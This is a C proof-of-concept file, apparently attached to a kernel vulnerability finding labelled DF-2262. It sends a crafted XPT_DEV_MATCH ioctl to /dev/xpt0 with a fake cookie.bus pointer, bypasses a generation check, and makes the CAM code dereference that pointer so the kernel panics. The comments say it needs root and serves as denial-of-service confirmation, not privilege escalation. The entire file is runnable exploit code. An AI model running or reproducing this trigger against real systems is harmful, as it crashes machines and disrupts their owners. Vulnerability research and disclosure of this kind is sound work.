DF-2262 / xpt_devmatch_poison.c
/* * DF-2262 — XPT_DEV_MATCH trusts user-supplied EDT cookie.bus * * Root-level live trigger for the controlled-deref panic documented in the * finding. /dev/xpt0 is mode 0600 (root:operator) so this is a root->kernel * DoS confirmation, NOT an unprivileged escalation. The unprivileged path is * permission-gated (maxx has no access to /dev/xpt0). * * Mechanism (sys/bus/cam/cam_xpt.c): * xptioctl CAMIOCOMMAND -> XPT_DEV_MATCH (cam_xpt.c:1125) -> xpt_action * -> periph XPT_DEV_MATCH handler (cam_xpt.c:3262) picks EDT path * -> xptedtmatch (cam_xpt.c:2427): * gen check at :2437-2439 is bypassed when generations[0]==0; * then :2444-2447 if position_type & CAM_DEV_POS_BUS and cookie.bus!=NULL * passes the *raw user pointer* to xptbustraverse((struct cam_eb*)cookie.bus,...) * -> xptbustraverse (cam_xpt.c:2631) dereferences the fake cam_eb* * (TAILQ_NEXT / CAM_SIM_LOCK) => fatal trap / panic. * * Build: cc -I/usr/src/sys -I/usr/src/sys/sys -o xpt_devmatch_poison xpt_devmatch_poison.c * Run: ./xpt_devmatch_poison (as root; panics the kernel) */ #include <sys/types.h> #include <sys/ioctl.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <err.h> /* * We do NOT try to mirror the entire union ccb. We only need the layout of * struct ccb_dev_match up to the position/cookie fields, preceded by the * ccb_hdr fields that xpt_find_bus / xpt_action read. Pull the real * definitions from the kernel tree so the offsets match exactly. */ #include <bus/cam/cam.h> #include <bus/cam/cam_ccb.h> /* CAMIOCOMMAND is defined in <cam/scsi/scsi_pass.h>; replicate to avoid the * extra dependency. */ #ifndef CAMIOCOMMAND #define CAMIOCOMMAND _IOWR(CAM_VERSION, 2, union ccb) #endif int main(int argc, char **argv) { union ccb *ccb; struct dev_match_pattern pat; struct dev_match_result res; int fd, rc; const char *dev = argc > 1 ? argv[1] : "/dev/xpt0"; fd = open(dev, O_RDWR); if (fd < 0) err(1, "open %s", dev); ccb = calloc(1, sizeof(*ccb)); if (ccb == NULL) err(1, "calloc"); /* A valid path_id is required: xpt_find_bus must succeed (cam_xpt.c:1035). * Bus 0 always exists on this guest (the ATA bus). */ ccb->ccb_h.func_code = XPT_DEV_MATCH; ccb->ccb_h.path_id = 0; /* CAM_BUS_WILDCARD would fail xpt_find_bus */ ccb->ccb_h.target_id = CAM_TARGET_WILDCARD; ccb->ccb_h.target_lun = CAM_LUN_WILDCARD; /* Force the EDT tree. With num_patterns==0 the handler selects EDT * (cam_xpt.c:3299-3300) — but we want the poisoned-cookie branch, so we * set position_type = EDT|BUS ourselves. */ ccb->cdm.num_patterns = 0; ccb->cdm.patterns = NULL; ccb->cdm.pattern_buf_len = 0; ccb->cdm.matches = &res; ccb->cdm.match_buf_len = sizeof(res); ccb->cdm.num_matches = 0; /* THE BUG: set position so xptedtmatch trusts our cookie.bus verbatim. */ ccb->cdm.pos.position_type = CAM_DEV_POS_EDT | CAM_DEV_POS_BUS; ccb->cdm.pos.generations[CAM_BUS_GENERATION] = 0; /* bypass gen check */ ccb->cdm.pos.cookie.bus = (void *)0x4141414141414141UL; /* fake cam_eb * */ printf("[*] issuing CAMIOCOMMAND XPT_DEV_MATCH with cookie.bus=0x4141...\n"); printf("[*] expect fatal trap in xptbustraverse (deref of fake cam_eb)\n"); fflush(stdout); rc = ioctl(fd, CAMIOCOMMAND, ccb); if (rc < 0) warn("ioctl CAMIOCOMMAND returned (kernel survived?)"); else printf("[!] ioctl returned %d, cdm.status=%d\n", rc, ccb->cdm.status); close(fd); return 0; } |